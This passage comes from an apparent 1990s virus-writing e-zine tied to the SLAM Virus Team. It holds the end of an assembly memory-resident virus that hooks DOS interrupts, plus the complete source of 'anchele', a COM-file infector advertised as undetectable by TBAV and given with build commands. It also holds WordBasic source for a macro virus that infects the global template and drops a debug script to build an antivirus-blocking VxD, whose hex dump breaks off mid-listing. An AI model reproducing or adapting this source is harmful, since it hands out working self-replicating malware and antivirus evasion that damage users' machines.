   pop ax
   cli
   mov ss,ds:sspointer
   mov sp,ds:sppointer
   sti
   mov ds,ax
   mov es,ax
   jmp dword ptr cs:terminaddr
notinmem:
   xor ax,ax
   mov ds,ax
   db 81h,2eh,13h,4,5,0   ;=sub word ptr ds:totalmem,5 - alloc 5 K of mem
   pop ax                 ;ax on original segment
   push ax
   dec ax
   mov ds,ax              ;ds on original MCB
   mov ax,es
   sub ax,140h            ;subtract 140h mem chunks
   nop
   mov es,ax              ;the new alloc segment
   sub word ptr ds:memtop,140h
   sub word ptr ds:MCBsize,140h
   mov ax,cs
   sub ax,(offset newseg - TSRpart)/16
   mov ds,ax
   mov si,0
   mov di,si
   mov cx,(offset eovirus-TSRpart)     ;total length of virus
   nop
   cld
   rep movsb
   mov si,(offset signature - TSRpart)
   mov di,0
   mov cx,0eh             ;length of signature
   rep movsb
   push es
   pop ds                 ;es==ds on TOP memory
   mov word ptr ds:firstcounter,7fffh
   mov word ptr ds:secondcounter,-1
   mov byte ptr ds:semaphor,0
   mov byte ptr ds:DOScounter,0
   mov ah,30h             ;get DOS version
   int 21h
   mov ds:[dosversion],ax
   mov di,drivestable
   mov cx,1ah
   xor ax,ax
   cld
   rep stosw              ;prepare 52 bytes drives' table
   mov ds,ax
   mov si,84h             ;get Int 21H DOS vector
   mov di,(offset int21_offset-TSRpart)
   movsw                  ;hook the INT 21h DOS vector
   movsw
   cli
   mov word ptr [si-4],offset int21handler-TSRpart
   mov [si-2],es
   sti
   mov si,20h
   mov di,(offset int08_offset-TSRpart)
   movsw                  ;hook the INT 8 clock vector
   movsw
   cli
   mov word ptr [si-4],offset entryI8-TSRpart
   mov [si-2],es
   sti
   mov si,58h
   mov di,(offset int16_offset-TSRpart)
   movsw                  ;hook the INT 16h keyboard serv vector
   movsw
   cli
   mov word ptr [si-4],offset entryI16-TSRpart
   mov [si-2],es
   sti
   mov si,94H
   mov di,(offset int25_offset-TSRpart)
   movsw                  ;hook the INT 25h DOS disk read vector
   movsw
   cli
   mov word ptr [si-4],(offset int25handler-TSRpart)
   mov [si-2],es
   sti
   mov si,98h
   mov di,(offset int26_offset-TSRpart)
   movsw                  ;hook the INT 26h DOS disk write vector
   movsw
   cli
   mov word ptr [si-4],(offset int26handler-TSRpart)
   mov [si-2],es
   sti
   jmp leavevirus
;����������- end of main part ����������
origlnglow      dw 2712h
origlnghigh     dw 0
signature       db 'BadSectors 1.2'

eovirus:
code ends
end virus_start
--------------------------------- cut here ----------------------------------

                               Virtual Daemon
               Viral Development Researcher & Virii Colector
                         Member of SLAM Virus Team
                           Network Administrator
                     E-mail: virtual_daemon@hotmail.com
          Web: http://www.geocities.com/SiliconValley/Heights/3334
 \     \
   \    \__
    /      \
  /        _\
 ( / / /  / \ \
 (_( (/ /_>   \) _     ___   ___  ___    _   _   ___  _     _  ___
     ( (         |    /___\ |      |     |\  |  |     |  |  | |
      \ \        |    |   |  --    |     |  \|  |--   |  |  |  --
        \)       |___ |   |  ___|  |     |   |  |___  |__|__|  ___|

Here are some articles I got one day before releasing this mag.
Read it, there some real fantastic source code's.

Article's:

1. Anchele v1.0 - Written by Reptile
2. WordMacro.N00DLE v2.0 - Written by Reptile - 1997                          
3. *Rumble* v1.2 - Written by Reptile - 1997
4. Stealth In Word 97 - Written by Talon
                                   _
                                  / |
                                /   |
                              /     | 
                            /  / |  |
                          /  /   |  |
                        /__/     |  |
                                 |  |
                                 |  |
                                 |  |  __
                                 |__| |__|

;���������������������������������������������������������������������������Ŀ
;� anchele v1.0 - Written by Reptile                                         �
;���������������������������������������������������������������������������Ĵ
;� Size:          � 135 bytes (smallest virus, that tbav can't detect?)      �
;� Targets:       � ?om files                                                �
;� Type:          � Direct action infector of com files                      �
;� Origin:        � Switzerland                                              �
;���������������������������������������������������������������������������Ĵ
;� Special stuff: � - No flags with TBAV v7.06 (for Windoze 95)              �
;�                �   [high heuristic]!                                      �
;���������������������������������������������������������������������������Ĵ
;� Note:          � This is a very tiny and simple virus, but anyway TBAV's  �
;�                � heuristic can't detect it.                               �
;���������������������������������������������������������������������������Ĵ
;� Compiling:     � tasm anchele                                             �
;�                � tlink /t anchele                                         �
;�����������������������������������������������������������������������������
                                        
.286

.model tiny

.code
org 100h
main:

db 233,0,0

start:
call $+3    ;get delta
anc:int 03h
pop bp
sub bp,offset anc

lea si,[bp + offset ojmp]   ;restore original jmp
mov di,100h
movsw
movsb

ffirst:
mov ah,4eh  ;search for first com
jmp short w

ojmp db 205,32,0
cmask db '*.?om',0

ofile:
mov ax,3d02h    ;open file
mov dx,9eh 
int 21h
xchg ax,bx

mov ah,3fh  ;read original jmp
mov cx,3
lea dx,[bp + offset ojmp]
int 21h

mov ax,4202h
xor cx,cx
cwd
int 21h

sub ax,vend - start + 3
cmp word ptr [bp + ojmp + 1],ax
je cfile
add ax,vend - start 
mov word ptr [bp + njmp + 1],ax

mov ah,'A'  ;write virus
xor ah,1
mov cx,vend - start
lea dx,[bp + offset start]
int 21h

mov ax,4200h
xor cx,cx
cwd
int 21h

mov ah,'A'
xor ah,1
mov cx,3
lea dx,[bp + offset njmp]
int 21h

cfile:
mov ah,3eh  ;close file
int 21h

fnext:
mov ah,4fh  ;search for next com
w:
mov cx,7
lea dx,[bp + offset cmask]
int 21h
jnc ofile

exit:
mov bx,101h
dec bx
jmp bx

njmp db 233
vend:
db 0,0
ends
end main
                                 _ _ _ _ _ _
                               /   _ _ _ _   \
                             /   /         |  |
                           /   /           |  |
                          |__/            /   |
                                        /    /
                                      /    /
                                    /    /
                                  /    / 
                                /    /
                              /    /
                            /    /
                          /    /
                        /    /
                       |   /_ _ _ _ _ _ _ _ _ _ _    __
                       |_ _ _ _ _ _ _ _ _ _ _ _ _|  |__|

����������������������������������������������������������������������������Ŀ
� WordMacro.N00DLE v2.0 - Written by Reptile - 1997                          �
����������������������������������������������������������������������������Ĵ
� Version:       � English                                                   �
� Macros:        � 3                                                         �
� Encrypted:     � Yes                                                       �
� Polymorf:      � Nope                                                      �
� Stealth:       � Yes                                                       �
� Retro:         � Yes                                                       �
� Origin:        � Switzerland                                               �
����������������������������������������������������������������������������Ĵ
� AV stuff:      � F/WIN v4.02 can't detect infected doc files. It will only �
�                � find a virus in the global template.                      �
����������������������������������������������������������������������������Ĵ
� Special stuff: � This virus drops a retro vxd in the 'c:\windows\system',  �
�                � the 'c:\windows.000\system' or the 'c:\win95\system' dir  �
�                � and loads in the system.ini. After the next reboot the    �
�                � vxd is in memory and will do a reboot if you'll try to    �
�                � execute F/WIN v4.02.                                      �
����������������������������������������������������������������������������Ĵ
� Note:          � I didn't test this version of the virus, coz I haven't    �
�                � got the english word. I translated it by using source     �
�                � codes of english macro virii. -> bugs                     �
������������������������������������������������������������������������������
����������������������������������������������������������������������������Ŀ
� Macro: AutoOpen                                                            �
������������������������������������������������������������������������������
Sub MAIN
Retro
d$ = FileName$() 
f$ = d$ + ":AutoOpen"
MacroCopy f$, "Global:noodle", 1
f$ = d$ + ":AutoClose"
MacroCopy f$, "Global:AutoClose", 1
f$ = d$ + ":ToolsMacro"
MacroCopy f$, "Global:ToolsMacro"
End Sub

Sub Retro
On Error Goto a
Open "c:\windows\win.com" For Input As #1
Close #1
Goto win
a:
On Error Goto b
Open "c:\windows.000\win.com" For Input As #1
Close #1
Goto win000
b:
On Error Goto NoDrop
Open "c:\win95\win.com" For Input As #1
Close #1
Goto win95

win:
On Error Goto w1
Open "c:\windows\system\noodle.386" For Input As #1
Close #1
Goto NoDrop
w1:
Open "c:\error.bat" For Output As #1
Print #1, "@echo off"
Print #1, "cd windows\system"
Print #1, "debug < noodle.scr > nul"
Print #1, "del noodle.scr"
Print #1, "cd\"
Print #1, "debug < drop.scr > nul"
Print #1, "del drop.scr"
Print #1, "drop.com"
Print #1, "del drop.com"
Close #1
Open "c:\windows\system\noodle.scr" For Output As #1
Goto Dwrite

win000:
On Error Goto w2
Open "c:\windows.000\system\noodle.386" For Input As #1
Close #1
Goto NoDrop
w2:
Open "c:\error.bat" For Output As #1
Print #1, "@echo off"
Print #1, "cd windows.000\system"
Print #1, "debug < noodle.scr > nul"
Print #1, "del noodle.scr"
Print #1, "cd\"
Print #1, "debug < drop.scr > nul"
Print #1, "del drop.scr"
Print #1, "drop.com"
Print #1, "del drop.com"
Close #1
Open "c:\windows.000\system\noodle.scr" For Output As #1
Goto Dwrite

win95:
On Error Goto w3
Open "c:\win95\system\noodle.386" For Input As #1
Close #1
Goto NoDrop
w3:
Open "c:\error.bat" For Output As #1
Print #1, "@echo off"
Print #1, "cd win95\system"
Print #1, "debug < noodle.scr > nul"
Print #1, "del noodle.scr"
Print #1, "cd\"
Print #1, "debug < drop.scr > nul"
Print #1, "del drop.scr"
Print #1, "drop.com"
Print #1, "del drop.com"
Close #1
Open "c:\win95\system\noodle.scr" For Output As #1

Dwrite:
Print #1, "N NOODLE.386"
Print #1, "E 0100 4D 5A 1F 00 0A 00 00 00 04 00 00 00 FF FF 00 00"
Print #1, "E 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00"
Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00"
Print #1, "E 0140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68"
Print #1, "E 0150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F"
Print #1, "E 0160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20"
Print #1, "E 0170 6D 6F 64 65 2E 0D 0A 24 00 00 00 00 00 00 00 00"
Print #1, "E 0180 4C 45 00 00 00 00 00 00 02 00 04 00 00 00 00 00"
Print #1, "E 0190 20 80 00 00 02 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 01A0 00 00 00 00 00 00 00 00 00 10 00 00 08 00 00 00"
Print #1, "E 01B0 34 00 00 00 00 00 00 00 4D 00 00 00 00 00 00 00"
Print #1, "E 01C0 C4 00 00 00 02 00 00 00 F4 00 00 00 00 00 00 00"
Print #1, "E 01D0 00 00 00 00 00 00 00 00 FC 00 00 00 06 01 00 00"
Print #1, "E 01E0 00 00 00 00 00 00 00 00 11 01 00 00 1D 01 00 00"
Print #1, "E 01F0 43 01 00 00 00 00 00 00 44 01 00 00 00 00 00 00"
Print #1, "E 0200 00 02 00 00 01 00 00 00 08 12 00 00 17 00 00 00"
Print #1, "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0240 00 00 0A 03 4C 01 00 00 00 00 00 00 45 20 00 00"
Print #1, "E 0250 01 00 00 00 01 00 00 00 00 00 00 00 08 00 00 00"
Print #1, "E 0260 00 10 00 00 05 10 00 00 02 00 00 00 01 00 00 00"
Print #1, "E 0270 00 00 00 00 00 00 01 00 00 00 02 00 06 4E 6F 6F"
Print #1, "E 0280 64 6C 65 00 00 00 01 03 01 00 03 00 01 00 00 00"
Print #1, "E 0290 00 00 00 00 00 26 00 00 00 26 00 00 00 07 00 6F"
Print #1, "E 02A0 00 01 48 01 27 00 02 01 4A 01 AE 00 C0 00 07 00"
Print #1, "E 02B0 06 00 01 12 00 07 00 18 01 01 F3 00 07 00 68 00"
Print #1, "E 02C0 01 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0300 B8 21 00 00 00 BE 12 00 00 00 CD 20 41 00 01 00"
Print #1, "E 0310 F8 C3 66 81 7D 1C 00 4B 0F 85 D3 00 00 00 83 EC"
Print #1, "E 0320 6C 57 8D 7C 24 04 CD 20 8D 00 01 00 5F CD 20 83"
Print #1, "E 0330 00 01 00 0F B7 55 3C C1 E2 04 0F B7 45 14 03 D0"
Print #1, "E 0340 03 53 04 57 8B FA B9 80 00 00 00 B0 00 F2 AE 4F"
Print #1, "E 0350 4F 80 3F 5C 74 10 80 3F 2F 74 0B 80 3F 3A 74 06"
Print #1, "E 0360 3B FA 72 02 EB EA 47 BE 38 01 00 00 0F B7 0D 48"
Print #1, "E 0370 01 00 00 F3 A6 5F 74 64 B8 22 3D 00 00 68 21 00"
Print #1, "E 0380 00 00 CD 20 8F 00 01 00 72 52 93 B8 00 42 00 00"
Print #1, "E 0390 33 C9 BA 1C 00 00 00 68 21 00 00 00 CD 20 8F 00"
Print #1, "E 03A0 01 00 B8 00 3F 00 00 B9 02 00 00 00 8D 15 4A 01"
Print #1, "E 03B0 00 00 68 21 00 00 00 CD 20 8F 00 01 00 66 81 3D"
Print #1, "E 03C0 4A 01 00 00 57 57 75 04 B0 FE E6 64 B8 00 3E 00"
Print #1, "E 03D0 00 68 21 00 00 00 CD 20 8F 00 01 00 CD 20 86 00"
Print #1, "E 03E0 01 00 56 8D 74 24 04 CD 20 8E 00 01 00 5E 83 C4"
Print #1, "E 03F0 6C F9 C3 83 F8 02 75 05 E9 03 FF FF FF F8 C3 00"
Print #1, "E 0400 00 00 00 00 0A 03 00 00 03 00 00 00 4E 6F 6F 64"
Print #1, "E 0410 6C 65 20 20 00 00 00 80 F3 00 00 00 00 00 00 00"
Print #1, "E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0430 00 00 00 00 00 00 00 00 77 69 6E 2E 63 6F 6D 00"
Print #1, "E 0440 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00"
Print #1, "E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 06F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 07B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 07C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 07D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 07E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 07F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 08A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 08B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 08C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 08D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 08E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 08F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 09A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 09B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 09C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 09D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 09E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 09F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0B90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0BA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0BB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0BC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0BD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0BE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0BF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0C90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0CA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0CB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0CD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0CE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0D90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0DA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0DB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0DC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0DD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0DE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0DF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0E90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0EA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0EB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0EC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0ED0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
